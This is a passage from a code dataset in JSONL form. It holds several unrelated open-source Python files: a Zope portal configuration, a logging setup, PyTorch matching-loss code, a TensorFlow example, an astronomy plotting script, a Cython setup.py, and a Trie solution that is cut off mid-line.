IIntIds)\n ids.register(portal)\n\n # Principal Annotations\n if 'principalannotations' not in system:\n pa = component.createObject('zope.app.PrincipalAnnotationUtility')\n event.notify(ObjectCreatedEvent(pa))\n\n system['principalannotations'] = pa\n sm.registerUtility(pa, IPrincipalAnnotationUtility)\n\n # session data container\n configlet = sm.getUtility(IConfiglet, 'system.session')\n configlet.sessiontype = 'ram'\n\n # set password\n password = sm.getUtility(IConfiglet, 'principals.password')\n password.passwordManager = 'MD5'\n\n # set site timezone\n fomratter = sm.getUtility(IConfiglet, 'system.formatter')\n fomratter.timezone = u'UTC'\n\n # set portal access to open\n manager = IPrincipalPermissionManager(portal)\n everyone = sm.queryUtility(IEveryoneGroup)\n if everyone is not None:\n manager.grantPermissionToPrincipal(\n 'zojax.AccessPortal', everyone.id)\n\n authenticated = sm.queryUtility(IAuthenticatedGroup)\n if authenticated is not None:\n manager.unsetPermissionForPrincipal(\n 'zojax.AccessPortal', authenticated.id)\n\n # setup default role\n roles = sm.getUtility(IPortalRoles)\n if 'site.member' not in roles:\n role = PortalRole(title = u'Site Member')\n event.notify(ObjectCreatedEvent(role))\n\n roles['site.member'] = role\n roleId = role.id\n sm.getUtility(IDefaultPortalRole).roles = [role.id]\n\n roleperm = IRolePermissionManager(portal)\n\n for permId in ('zojax.PersonalContent', 'zojax.PersonalSpace',\n 'zojax.forum.addMessage', 'zojax.forum.addTopic',\n 'zojax.SubmitBlogPost', 'zojax.SubmitDocuments',\n 'zojax.forum.SubmitTopic', 'zojax.SubmitPhoto',\n 'zojax.contenttype.SubmitNewsItem',):\n roleperm.grantPermissionToRole(permId, roleId)\n\n # install catalog\n sm.getUtility(IConfiglet, 'system.catalog').install()\n\n # install workspaces\n portal.workspaces = ('overview', 'people', 'news', 'documents')\n event.notify(ObjectModifiedEvent(portal))\n\n setSite(None)\n\n\nclass ContentTypesConfiguration(ConfigurationPluginBase):\n component.adapts(IPortal)\n\n dependencies = ('basic',)\n\n def __call__(self, data):\n # install content types\n setSite(self.context)\n\n sm = self.context.getSiteManager()\n\n product = sm.queryUtility(IProduct, 'zojax-contenttypes')\n if product is not None and not product.isInstalled():\n product.install()\n\n setSite(None)\n\n\nclass AuthenticationConfiguration(ConfigurationPluginBase):\n component.adapts(IPortal)\n\n dependencies = ('basic',)\n\n def __call__(self, data):\n # authentication\n setSite(self.context)\n\n sm = self.context.getSiteManager()\n auth = sm.getUtility(IAuthenticationConfiglet)\n auth.installUtility()\n\n if IContainmentRoot.providedBy(self.context):\n auth.installPrincipalRegistry()\n\n for name in ('principal.users',):\n factory = sm.queryUtility(IAuthenticatorPluginFactory, name=name)\n if factory is not None:\n factory.install()\n factory.activate()\n\n setSite(None)\n","repo_name":"Zojax/zojax.portal","sub_path":"src/zojax/portal/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":5855,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"15503071106","text":"import logging\nimport logging.config\nimport os\nimport sys\n\nfrom logging import FileHandler\n\nLOG_FOLDER = 'Logs'\n\nif not os.path.exists(LOG_FOLDER):\n os.mkdir(LOG_FOLDER)\n\nOUTPUT_LOG = 'python.log'\n\nDATEFORMAT = '%Y-%m-%d %H:%M:%S'\n\nFOLDER_LOGS = os.path.join(os.getcwd(), LOG_FOLDER)\n\n\nCONSOLE_FORMATTER = logging.Formatter(\n fmt=\"%(asctime)s > %(filename)s > %(lineno)s > %(levelname)s : %(message)s\",\n datefmt=DATEFORMAT\n)\n\nLOGGER_FORMATTER = logging.Formatter(\n fmt=\"%(asctime)s > %(module)s > %(levelname)s : %(message)s\",\n datefmt=DATEFORMAT\n)\n\n\ndef get_console_handler():\n console_handler = logging.StreamHandler(sys.stdout)\n console_handler.setFormatter(CONSOLE_FORMATTER)\n console_handler.setLevel(logging.DEBUG)\n return console_handler\n\n\ndef get_current_launch_file_handler():\n file_handler = FileHandler(os.path.join(FOLDER_LOGS, OUTPUT_LOG), mode='w', encoding='utf-8')\n file_handler.setFormatter(LOGGER_FORMATTER)\n file_handler.setLevel(logging.INFO)\n return file_handler\n\n\nroot = logging.getLogger()\nroot.setLevel(logging.DEBUG)\nroot.addHandler(get_console_handler())\n\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.DEBUG)\nlogger.addHandler(get_current_launch_file_handler())\n","repo_name":"p-virex/iteens","sub_path":"logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":1242,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"31872920696","text":"from model import common\nimport torch.nn as nn\nimport torch\ndef pairwiseFunc(images, edges, n = 16):\n \"\"\"\n Argument:\n images: with shape [N, C, H, W]\n edges : with shape [N, C, H, W]\n Return:\n loss\n \"\"\"\n #a = torch.randn(1, 1, 16, 16)\n #a = torch.from_numpy(np.arange(0,256)).view(1,1,16,16)\n #print(a)\n h,w = images.shape[2:]\n kernel_size = n\n kernel_stride = n\n # images [n,c,h,w] ==> [n, h/n * w/n, c, h/n, w/n]\n # edges [n,c,h,w] ==> [n, h/n * w/n, c, h/n, w/n]\n\n #assert h % n == 0 & w % n == 0\n if h % n != 0 or w % n != 0:\n raise ValueError(\"n: %d can not be division by h: %d or w: %d\" %(n, h, w))\n\n images = images.unfold(2, kernel_size, kernel_stride).unfold(3, kernel_size, kernel_stride)\n images = images.contiguous().view(images.size(0), images.size(1), -1, images.size(4), images.size(5))\n images = images.permute((0,2,1,3,4))\n ## shape [n, k, c*h/n*w/n]\n images = images.contiguous().view(images.size(0), images.size(1), -1)\n\n edges = edges.unfold(2, kernel_size, kernel_stride).unfold(3, kernel_size, kernel_stride)\n edges = edges.contiguous().view(edges.size(0), edges.size(1), -1, edges.size(4), edges.size(5))\n edges = edges.permute((0,2,1,3,4))\n ## shape [n, c*h/n*w/n, k]\n edges = edges.contiguous().view(edges.size(0), edges.size(1), -1).permute((0,2,1))\n #print(images.shape, edges.shape)\n ## shape [n, k, k]\n\n relation_matrix = torch.matmul(images, edges)\n #print(relation_matrix)\n return relation_matrix\n\n\nclass RNLLoss(nn.Module):\n def __init__(self, args):\n super(RNLLoss, self).__init__()\n self.l_loss = nn.L1Loss()\n self.args = args\n\n self.sub_mean = common.MeanShift(args.rgb_range)\n\n def forward(self, fake, real):\n #fake : tuple (SR, F_Diff)\n #real : tuple (HR, Diff)\n sr, fake_diff = fake\n hr, diff = real\n\n\n # sr = self.sub_mean(sr)\n # fake_diff = self.sub_mean(fake_diff)\n # hr = self.sub_mean(hr)\n # diff = self.sub_mean(diff)\n\n sr = sr / 255.0\n fake_diff = fake_diff / 255.0\n hr = hr / 255.0\n diff = diff / 255.0\n\n r1_matrix = pairwiseFunc(sr, fake_diff, self.args.rloss_n)\n r2_matrix = pairwiseFunc(hr, diff, self.args.rloss_n)\n\n loss = self.l_loss(r1_matrix, r2_matrix)\n\n return loss\n","repo_name":"selous123/pytorch_zoom","sub_path":"src/loss/rnlloss.py","file_name":"rnlloss.py","file_ext":"py","file_size_in_byte":2385,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"38709047356","text":"r\"\"\"Training objectives of DHPF\"\"\"\n\nfrom skimage import draw\nimport numpy as np\nimport torch\n\n\nfrom .losses_on_matching_and_non_matching_pairs import SupervisionStrategy\nfrom utils_flow.correlation_to_matches_utils import Norm\n\n\n# ------------------ SPECIFIC TO DHPF -------------------------------------------------------\ndef where(predicate):\n r\"\"\"Predicate must be a condition on nd-tensor\"\"\"\n matching_indices = predicate.nonzero()\n if len(matching_indices) != 0:\n matching_indices = matching_indices.t().squeeze(0)\n return matching_indices\n\n\nclass Evaluator:\n r\"\"\"Computes evaluation metrics of PCK, LT-ACC, IoU\"\"\"\n def __init__(self, benchmark, alpha=0.1):\n if benchmark == 'caltech':\n self.eval_func = self.eval_mask_transfer\n else:\n self.eval_func = self.eval_kps_transfer\n self.alpha = alpha\n\n def evaluate(self, prd_kps, batch, predicted_target_pts=True):\n r\"\"\"Compute evaluation metric\"\"\"\n return self.eval_func(prd_kps, batch, predicted_target_pts=predicted_target_pts)\n\n def eval_kps_transfer(self, prd_kps, batch, predicted_target_pts=True):\n r\"\"\"Compute percentage of correct key-points (PCK) based on prediction\"\"\"\n\n easy_match = {'src': [], 'trg': [], 'dist': []}\n hard_match = {'src': [], 'trg': []}\n\n pck = []\n for idx in range(len(prd_kps)):\n # per batch\n if predicted_target_pts:\n pk = prd_kps[idx]\n tk = torch.t(batch['target_kps'][idx]).cuda() # 2, N\n else:\n pk = prd_kps[idx]\n tk = torch.t(batch['source_kps'][idx]).cuda() # we warp the target point to the source instead\n if 'pckthres' not in list(batch.keys()):\n raise ValueError\n thres = batch['pckthres'][idx]\n npt = batch['n_pts'][idx]\n\n # original image is always 240x240, reso of corre is 60, rescale kp to correlation and find the index in\n # flattened correlation, per image pair\n kp_s = batch['source_kps'][idx].clone()[:npt].cuda() # Nx2\n kp_s *= 1.0 / 4.0\n kp_s = torch.round(kp_s)\n index_s = kp_s[:, 1] * 60 + kp_s[:, 0] # N\n index_s = index_s.long()\n\n kp_t = batch['target_kps'][idx].clone()[:npt].cuda() # Nx2\n kp_t *= 1.0 / 4.0\n kp_t = torch.round(kp_t)\n index_t = kp_t[:, 1] * 60 + kp_t[:, 0] # N\n index_t = index_t.long()\n\n mask_in_corr = (kp_s[:, 0] > 0) & (kp_s[:, 1] > 0) & (kp_t[:, 0] > 0) & (kp_t[:, 1] > 0) & \\\n (kp_s[:, 0] < 60) & (kp_s[:, 1] < 60) & (kp_t[:, 0] < 60) & (kp_t[:, 1] < 60)\n\n index_t = index_t[mask_in_corr]\n index_s = index_s[mask_in_corr]\n\n correct_dist, correct_ids, incorrect_ids = self.classify_prd(pk[:, :npt][:, mask_in_corr],\n tk[:, :npt][:, mask_in_corr], thres)\n\n # Collect easy and hard match feature index & store pck to buffer\n\n easy_match['dist'].append(correct_dist)\n easy_match['src'].append(index_s[correct_ids])\n easy_match['trg'].append(index_t[correct_ids])\n hard_match['src'].append(index_s[incorrect_ids])\n hard_match['trg'].append(index_t[incorrect_ids])\n\n pck.append((len(correct_ids) / npt.item()) * 100)\n\n eval_result = {'easy_match': easy_match,\n 'hard_match': hard_match,\n 'pck': pck}\n\n return eval_result\n\n def eval_mask_transfer(self, prd_kps, batch):\n r\"\"\"Compute LT-ACC and IoU based on transferred points\"\"\"\n\n ltacc = []\n iou = []\n\n for idx, prd in enumerate(prd_kps):\n trg_n_pts = (batch['trg_kps'][idx] > 0)[0].sum()\n prd_kp = prd[:, :batch['n_pts'][idx]]\n trg_kp = batch['trg_kps'][idx][:, :trg_n_pts]\n\n imsize = list(batch['trg_img'].size())[2:]\n trg_xstr, trg_ystr = self.pts2ptstr(trg_kp)\n trg_mask = self.ptstr2mask(trg_xstr, trg_ystr, imsize[0], imsize[1])\n prd_xstr, pred_ystr = self.pts2ptstr(prd_kp)\n prd_mask = self.ptstr2mask(prd_xstr, pred_ystr, imsize[0], imsize[1])\n\n ltacc.append(self.label_transfer_accuracy(prd_mask, trg_mask))\n iou.append(self.intersection_over_union(prd_mask, trg_mask))\n\n eval_result = {'ltacc': ltacc,\n 'iou': iou}\n\n return eval_result\n\n def classify_prd(self, prd_kps, trg_kps, pckthres):\n r\"\"\"Compute the number of correctly transferred key-points\"\"\"\n l2dist = (prd_kps - trg_kps).pow(2).sum(dim=0).pow(0.5)\n thres = pckthres.expand_as(l2dist).float() * self.alpha\n correct_pts = torch.le(l2dist, thres.cuda())\n\n correct_ids = where(correct_pts == 1)\n incorrect_ids = where(correct_pts == 0)\n correct_dist = l2dist[correct_pts]\n\n return correct_dist, correct_ids, incorrect_ids\n\n @staticmethod\n def intersection_over_union(mask1, mask2):\n r\"\"\"Computes IoU between two masks\"\"\"\n rel_part_weight = torch.sum(torch.sum(mask2.gt(0.5).float(), 2, True), 3, True) / \\\n torch.sum(mask2.gt(0.5).float())\n part_iou = torch.sum(torch.sum((mask1.gt(0.5) & mask2.gt(0.5)).float(), 2, True), 3, True) / \\\n torch.sum(torch.sum((mask1.gt(0.5) | mask2.gt(0.5)).float(), 2, True), 3, True)\n weighted_iou = torch.sum(torch.mul(rel_part_weight, part_iou)).item()\n\n return weighted_iou\n\n @staticmethod\n def label_transfer_accuracy(mask1, mask2):\n r\"\"\"LT-ACC measures the overlap with emphasis on the background class\"\"\"\n return torch.mean((mask1.gt(0.5) == mask2.gt(0.5)).double()).item()\n\n @staticmethod\n def pts2ptstr(pts):\n r\"\"\"Convert tensor of points to string\"\"\"\n x_str = str(list(pts[0].cpu().numpy()))\n x_str = x_str[1:len(x_str)-1]\n y_str = str(list(pts[1].cpu().numpy()))\n y_str = y_str[1:len(y_str)-1]\n\n return x_str, y_str\n\n @staticmethod\n def pts2mask(x_pts, y_pts, shape):\n r\"\"\"Build a binary mask tensor base on given xy-points\"\"\"\n x_idx, y_idx = draw.polygon(x_pts, y_pts, shape)\n mask = np.zeros(shape, dtype=np.bool)\n mask[x_idx, y_idx] = True\n\n return mask\n\n def ptstr2mask(self, x_str, y_str, out_h, out_w):\n r\"\"\"Convert xy-point mask (string) to tensor mask\"\"\"\n x_pts = np.fromstring(x_str, sep=',')\n y_pts = np.fromstring(y_str, sep=',')\n mask_np = self.pts2mask(y_pts, x_pts, [out_h, out_w])\n mask = torch.tensor(mask_np.astype(np.float32)).unsqueeze(0).unsqueeze(0).float()\n\n return mask\n\n\nclass CEOriginalDHPF:\n def __init__(self, target_rate=0.5, alpha=0.1):\n self.target_rate = target_rate # for layer selection\n self.alpha = alpha\n self.eps = 1e-30\n self.softmax = torch.nn.Softmax(dim=1)\n\n def cross_entropy(self, correlation_matrix_t_to_s, easy_match, hard_match, batch):\n r\"\"\"Computes sum of weighted cross-entropy values between ground-truth and prediction\"\"\"\n loss_buf = correlation_matrix_t_to_s.new_zeros(correlation_matrix_t_to_s.size(0))\n correlation_matrix_t_to_s = Norm.unit_gaussian_normalize(correlation_matrix_t_to_s)\n # shape is b, h_s*w_s, h_t*w_t\n\n for idx, (ct, thres, npt) in enumerate(zip(correlation_matrix_t_to_s, batch['pckthres'], batch['n_pts'])):\n\n # Hard (incorrect) match\n if len(hard_match['src'][idx]) > 0:\n cross_ent = self.compute_cross_entropy_loss(ct, hard_match['src'][idx], hard_match['trg'][idx])\n loss_buf[idx] += cross_ent.sum()\n\n # Easy (correct) match\n if len(easy_match['src'][idx]) > 0:\n cross_ent = self.compute_cross_entropy_loss(ct, easy_match['src'][idx], easy_match['trg'][idx])\n loss_buf[idx] += cross_ent.sum()\n\n loss_buf[idx] /= npt\n\n return torch.mean(loss_buf)\n\n def weighted_cross_entropy(self, correlation_matrix_t_to_s, easy_match, hard_match, batch):\n r\"\"\"Computes sum of weighted cross-entropy values between ground-truth and prediction\"\"\"\n loss_buf = correlation_matrix_t_to_s.new_zeros(correlation_matrix_t_to_s.size(0))\n correlation_matrix_t_to_s = Norm.unit_gaussian_normalize(correlation_matrix_t_to_s)\n # shape is b, h_s*w_s, h_t*w_t\n\n for idx, (ct, thres, npt) in enumerate(zip(correlation_matrix_t_to_s, batch['pckthres'], batch['n_pts'])):\n\n # Hard (incorrect) match\n if len(hard_match['src'][idx]) > 0:\n cross_ent = self.compute_cross_entropy_loss(ct, hard_match['src'][idx], hard_match['trg'][idx])\n loss_buf[idx] += cross_ent.sum()\n\n # Easy (correct) match\n if len(easy_match['src'][idx]) > 0:\n cross_ent = self.compute_cross_entropy_loss(ct, easy_match['src'][idx], easy_match['trg'][idx])\n smooth_weight = (easy_match['dist'][idx] / (thres * self.alpha)).pow(2)\n loss_buf[idx] += (smooth_weight * cross_ent).sum()\n\n loss_buf[idx] /= npt\n\n return torch.mean(loss_buf)\n\n def compute_cross_entropy_loss(self, correlation_matrix_t_to_s, src_match, trg_match):\n r\"\"\"Cross-entropy between predicted pdf and ground-truth pdf (one-hot vector)\"\"\"\n pdf = self.softmax(correlation_matrix_t_to_s.index_select(0, src_match))\n # correlation_matrix_t_to_s.index_select(0, src_match) becomes N, h_t*w_t\n # shape is b, h_s*w_s, h_t*w_t\n prob = pdf[range(len(trg_match)), trg_match]\n cross_ent = -torch.log(prob + self.eps)\n\n return cross_ent\n\n\nclass StrongSupStrategyDHPF(SupervisionStrategy):\n def __init__(self, weighted_cross_entropy=True):\n self.objective = CEOriginalDHPF()\n self.weighted_cross_entropy = weighted_cross_entropy\n\n def get_image_pair(self, batch, *args):\n r\"\"\"Returns (semantically related) pairs for strongly-supervised training\"\"\"\n return batch['source_image'], batch['target_image']\n\n def get_correlation(self, correlation_matrix):\n r\"\"\"Returns correlation matrices of 'ALL PAIRS' in a batch\"\"\"\n return correlation_matrix.clone().detach()\n\n def compute_loss(self, correlation_matrix, layer_sel=None, batch=None, result_eval=None, *args):\n r\"\"\"Strongly-supervised matching loss (L_{match})\"\"\"\n easy_match = result_eval[0]['easy_match']\n hard_match = result_eval[0]['hard_match']\n\n stats = {}\n if self.weighted_cross_entropy:\n loss_cre = self.objective.weighted_cross_entropy(correlation_matrix, easy_match, hard_match, batch)\n else:\n loss_cre = self.objective.cross_entropy(correlation_matrix, easy_match, hard_match, batch)\n loss_sel = self.objective.layer_selection_loss(layer_sel)\n loss_net = loss_cre + loss_sel\n\n stats['Loss_cross_entropy'] = loss_cre.item()\n stats['Loss_layer_selection'] = loss_sel.item()\n stats['Loss'] = loss_net.item()\n return loss_net, stats\n\n\n# -------------------------------- SPECIFC TO DCC-Net ------------------------------------------\n\n\nclass WeakSupStrategyDCCNet(SupervisionStrategy):\n def __init__(self, scaleloss_weight=1.0):\n self.num_negatives = 0\n self.scaleloss_weight = scaleloss_weight\n\n def get_negative_pairs(self, batch, *args):\n r\"\"\"Forms positive/negative image paris for weakly-supervised training\"\"\"\n training = args[0]\n self.bsz = len(batch['source_image'])\n\n if training:\n # is actually only negative\n shifted_idx = np.roll(np.arange(self.bsz), -1)\n trg_img_neg = batch['target_image'][shifted_idx].clone()\n trg_cls_neg = batch['category_id'][shifted_idx].clone()\n neg_subidx = (batch['category_id'] - trg_cls_neg) != 0\n\n src_img = batch['source_image'][neg_subidx]\n trg_img = trg_img_neg[neg_subidx]\n self.num_negatives = neg_subidx.sum()\n else:\n src_img, trg_img = batch['source_image'], batch['target_image']\n self.num_negatives = 0\n return src_img, trg_img\n\n def get_image_pair(self, batch, *args):\n r\"\"\"Forms positive/negative image paris for weakly-supervised training\"\"\"\n self.bsz = len(batch['source_image'])\n src_img, trg_img = batch['source_image'], batch['target_image']\n return src_img, trg_img\n\n def get_correlation(self, model_output):\n r\"\"\"Returns correlation matrices of 'POSITIVE PAIRS' in a batch\"\"\"\n return model_output['correlation_from_t_to_s'].clone().detach()\n\n def compute_loss(self, model_output_positive, model=None, batch=None, training=False, *args):\n r\"\"\"Weakly-supervised matching loss (L_{match})\"\"\"\n\n # positive\n score_pos_merge = model_output_positive['score_merge']\n score_pos_overscales = model_output_positive['score_overscales']\n\n # negative\n src_img_neg, trg_img_neg = self.get_negative_pairs(batch, training)\n if self.num_negatives > 0:\n model_output_negative = model({'source_image': src_img_neg, 'target_image': trg_img_neg})\n score_neg_merge = model_output_negative['score_merge']\n score_neg_overscales = model_output_negative['score_overscales']\n else:\n score_neg_merge = 0.0\n score_neg_overscales = 0.0\n\n # loss\n stats = {}\n loss_merge = score_neg_merge - score_pos_merge\n stats['Loss_pos'] = - score_pos_merge.item()\n stats['Loss_neg'] = score_neg_merge.item() if isinstance(score_neg_merge, torch.Tensor) else score_neg_merge\n stats['Loss_pos_neg'] = loss_merge.item()\n\n if self.scaleloss_weight:\n # compute the loss for the intermediate correlations\n loss_scales_pos = torch.sum(torch.cat(score_pos_overscales))\n loss_scales_neg = torch.sum(torch.cat(score_neg_overscales)) if self.num_negatives > 0 else 0.0\n loss_scales = loss_scales_neg - loss_scales_pos\n stats['Loss_pos_inter'] = - loss_scales_pos.item()\n stats['Loss_neg_inter'] = loss_scales_neg.item() if isinstance(loss_scales_neg, torch.Tensor) \\\n else loss_scales_neg\n stats['Loss_pos_neg_inter'] = loss_scales.item()\n\n loss = loss_merge + self.scaleloss_weight*loss_scales\n\n stats['Loss_pos_neg_total'] = loss.item()\n else:\n loss = loss_merge\n\n return loss, stats\n\n","repo_name":"PruneTruong/DenseMatching","sub_path":"training/losses/cost_volume_losses/specific_semantic_network_losses.py","file_name":"specific_semantic_network_losses.py","file_ext":"py","file_size_in_byte":14756,"program_lang":"python","lang":"en","doc_type":"code","stars":562,"dataset":"github-code","pt":"47"} +{"seq_id":"25599176272","text":"from data.performance_data import PerformanceData\n\nclass Summoner:\n def __init__(self, accountId, summonerId, puuid, summonerName):\n self.accountId = accountId\n self.summonerId = summonerId\n self.puuid = puuid\n self.summonerName = summonerName\n self.performanceData = PerformanceData(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)\n \n def __str__(self):\n return \"accountId: \" + self.accountId + \" \\n summonerId: \" + self.summonerId + \" \\n puuid: \" + self.puuid + \"\\n summonerName: \" + self.summonerName + \"\\n peformanceData: \" + str(self.performanceData)","repo_name":"DavidHewWing/singed-tracker","sub_path":"data/summoner.py","file_name":"summoner.py","file_ext":"py","file_size_in_byte":596,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"47"} +{"seq_id":"33569603294","text":"import tensorflow as tf\n\nX = tf.constant([[1.0, 10.0]])\n\nY = tf.constant([[2.0],\n [3.0]])\n\nZ1 = tf.matmul(X, Y)\nZ2 = tf.matmul(Y, X)\n\nwith tf.Session() as sess:\n result = sess.run(Z1)\n print(result)\n\n result = sess.run(Z2)\n print(result)\n","repo_name":"ttakamura/tensorflow-sandbox","sub_path":"tutorials/get_started_01.py","file_name":"get_started_01.py","file_ext":"py","file_size_in_byte":266,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"27875742160","text":"# -*- coding: utf-8 -*-\n# @Author: lshuns\n# @Date: 2022-06-09 18:12:58\n# @Last Modified by: lshuns\n# @Last Modified time: 2022-10-04 10:03:52\n\n### plot the shear amplitude as a function of redshift\n\nimport os\nimport glob\n\nimport numpy as np\nimport pandas as pd\n\nimport plotting\n\n# >>>>>>>>>>>>>>> I/O\n\n# the catalogue with diferent components of shears\ninfile = '/disks/shear10/ssli/ImSim/input/SURFS_cata/varShear/skills_v07Ds_input_part0_blended4_magCut25_varShear.feather'\ncata_final = pd.read_feather(infile)\n\n# >>>>>>>>>>>>>>> calculate mean as a function of redshift\n\n# redshift array\nzbins_edge = np.arange(0.2, 2.6, 0.2)\nzbins_center = (zbins_edge[1:]+zbins_edge[:-1])/2.\n\n# shear array\nshear_CS = np.zeros_like(zbins_center)\n# shear_CS_err = [np.zeros_like(zbins_center), np.zeros_like(zbins_center)]\nshear_ggl = np.zeros_like(zbins_center)\n# shear_ggl_err = [np.zeros_like(zbins_center), np.zeros_like(zbins_center)]\nshear_all = np.zeros_like(zbins_center)\n# shear_all_err = [np.zeros_like(zbins_center), np.zeros_like(zbins_center)]\n## bulid a list for loop\nshear_list = [shear_CS, shear_ggl, shear_all]\n# shear_err_list = [shear_CS_err, shear_ggl_err, shear_all_err]\nshear_suffix_list = ['CS0', 'ggl', 'fromCS0']\n\n# the mean\n# nboot = 500\nfor i_zbin in range(len(zbins_center)):\n zmin = zbins_edge[i_zbin]\n zmax = zbins_edge[i_zbin + 1]\n mask_tmp = (cata_final['zobs'].values >= zmin) & (cata_final['zobs'].values < zmax)\n\n ## shears\n for i_shear, shear_res in enumerate(shear_list):\n # get the amplitude\n shear_suffix = shear_suffix_list[i_shear]\n shear_amp = np.hypot(cata_final.loc[mask_tmp, f'gamma1_{shear_suffix}'].values, cata_final.loc[mask_tmp, f'gamma2_{shear_suffix}'].values)\n\n # get the average and errors\n shear_mean = np.nanmean(shear_amp)\n shear_res[i_zbin] = shear_mean\n # ## get error from boots\n # Relications_index = np.array([np.random.randint(len(shear_amp), size=len(shear_amp)) for _ in range(nboot)])\n # mean_BS = np.nanmean(shear_amp[Relications_index], axis = 1)\n del shear_amp\n # sigma_BS = mean_BS - shear_mean\n # err_low = np.abs(np.percentile(sigma_BS, 16))\n # err_high = np.abs(np.percentile(sigma_BS, 84))\n # ## assign\n # shear_err_list[i_shear][0][i_zbin] = err_low\n # shear_err_list[i_shear][1][i_zbin] = err_high\n del mask_tmp\n\n## final\noutpath = 'show'\noutpath = './plots/Zshear.pdf'\n\nxvals = [zbins_center] * 3\nyvals = shear_list\nCOLORs = ['magenta', 'orange', 'black']\nLINEs = ['--', ':', '-']\nPOINTs = ['', '', '']\nLABELs = ['CS', 'GGL', 'All']\nLINEWs = [1.5, 1.5, 1.5]\n\nXLABEL = 'Redshift'\n\nYLABEL = r'Mean $|\\boldsymbol{\\gamma}|=\\sqrt{\\gamma_1^2+\\gamma_2^2}$'\n\ntexPacks = [r\"\\usepackage{amsmath}\"]\n\nplotting.LinePlotFunc(outpath,\n xvals, yvals,\n COLORs, LABELs=LABELs, LINEs=LINEs, LINEWs=LINEWs, POINTs=POINTs, POINTSs=None, fillstyles=None,\n XRANGE=None, YRANGE=None,\n XLABEL=XLABEL, YLABEL=YLABEL, TITLE=None,\n xtick_min_label=True, xtick_spe=None, ytick_min_label=True, ytick_spe=None,\n vlines=None, vline_styles=None, vline_colors=None, vline_labels=None, vline_widths=None,\n hlines=None, hline_styles=None, hline_colors=None, hline_labels=None, hline_widths=None,\n xlog=False, invertX=False, ylog=False, invertY=False, \n loc_legend='best', legend_frame=False,\n font_size=15, usetex=True,\n texPacks=texPacks)\n","repo_name":"KiDS-WL/MultiBand_ImSim","sub_path":"paper_plots/Figg17_Sec5_Zshear.py","file_name":"Figg17_Sec5_Zshear.py","file_ext":"py","file_size_in_byte":3567,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"34175921222","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport glob\nimport os\n\nfrom pkgutil import walk_packages\nfrom setuptools import setup\nfrom setuptools.extension import Extension\nfrom setuptools.command.build_ext import build_ext as _build_ext\n\n\nclass build_ext(_build_ext):\n\n def finalize_options(self):\n from Cython.Build import cythonize\n self.distribution.ext_modules[:] = cythonize(\n self.distribution.ext_modules,\n compiler_directives={'embedsignature': True},\n )\n _build_ext.finalize_options(self)\n\n\ndef find_extensions(dir, pattern, **kwargs):\n for pkgname in find_packages(dir):\n pkgdir = os.path.join(dir, pkgname.replace('.', '/'))\n for path in glob.glob(os.path.join(pkgdir, pattern)):\n modname, _ = os.path.splitext(os.path.basename(path))\n extname = '%s.%s' % (pkgname, modname)\n yield Extension(extname, [path], **kwargs)\n\n\ndef find_packages(path):\n # This method returns packages and subpackages as well.\n for _, name, is_pkg in walk_packages([path]):\n if is_pkg:\n yield name\n\n\ndef read_file(filename):\n with open(filename) as fp:\n return fp.read()\n\n\nsetup(\n name='yammh3',\n version='0.2.0dev',\n description=\"Python/Cython Murmurhash3 binding.\",\n long_description=read_file('README.rst') + '\\n\\n' + read_file('HISTORY.rst'),\n author=\"Rolando Espinoza\",\n author_email='rolando at rmax.io',\n url='https://github.com/rolando/yammh3',\n packages=list(find_packages('src')),\n package_dir={'': 'src'},\n include_package_data=True,\n install_requires=[\n 'six>=1.5.2',\n ],\n license=\"MIT\",\n zip_safe=False,\n keywords='yammh3',\n classifiers=[\n 'Development Status :: 2 - Pre-Alpha',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: MIT License',\n 'Natural Language :: English',\n \"Programming Language :: Python :: 2\",\n 'Programming Language :: Python :: 2.7',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.4',\n 'Programming Language :: Python :: 3.5',\n ],\n ext_modules=list(find_extensions('src', '*.pyx', **dict(\n include_dirs=['src/yammh3/'],\n ))),\n cmdclass={'build_ext': build_ext},\n setup_requires=[\n 'cython>=0.24',\n ],\n)\n","repo_name":"rmax/yammh3","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2362,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"35121050113","text":"class Node:\n def __init__(self, key=None, word=None):\n self.key = key\n self.word = word\n self.length = []\n self.children = dict()\n\n\nclass Trie:\n def __init__(self):\n self.head = Node()\n\n def insert(self, word):\n cur = self.head\n # \"?????\" 처럼 모두 ? 로 구성된 query 의 경우에 대비해\n # self.head.length 에 len(word) 를 넣는다\n cur.length.append(len(word))\n\n for w in word:\n if w not in cur.children:\n cur.children[w] = Node(w)\n # cur.children[w].length.append(len(word))\n # cur.children[w].length.append(len(word)) 코드는 위의 위치에 있으면 안되고\n # 아래의 위치에 있어야 한다\n # \"abc\", \"abd\" 가 있다고 할때\n # 만약에 위의 위치에 있으면\n # \"abd\" 의 \"a\", \"b' 는 앞선 \"abc\" 의 \"a\", \"b\" 에 의해\n # if w not in cur.children 조건을 충족 못하여\n # if 문에 걸리지 않아서\n # length 에 단어 길이를 추가할 수 없다\n cur.children[w].length.append(len(word))\n cur = cur.children[w]\n\n cur.word = word\n\n def find_words(self, word):\n cur = self.head\n\n for w in word:\n if w != \"?\":\n if w not in cur.children:\n return 0\n cur = cur.children[w]\n else:\n break\n\n return cur.length.count(len(word))\n\n\ndef solution(words, queries):\n trie = Trie()\n reversed_trie = Trie()\n\n for w in words:\n trie.insert(w)\n\n reversed_words = list(map(lambda x: x[::-1], words))\n\n for w in reversed_words:\n reversed_trie.insert(w)\n\n answer = []\n\n for q in queries:\n if q[-1] == \"?\":\n answer.append(trie.find_words(q))\n continue\n\n q = 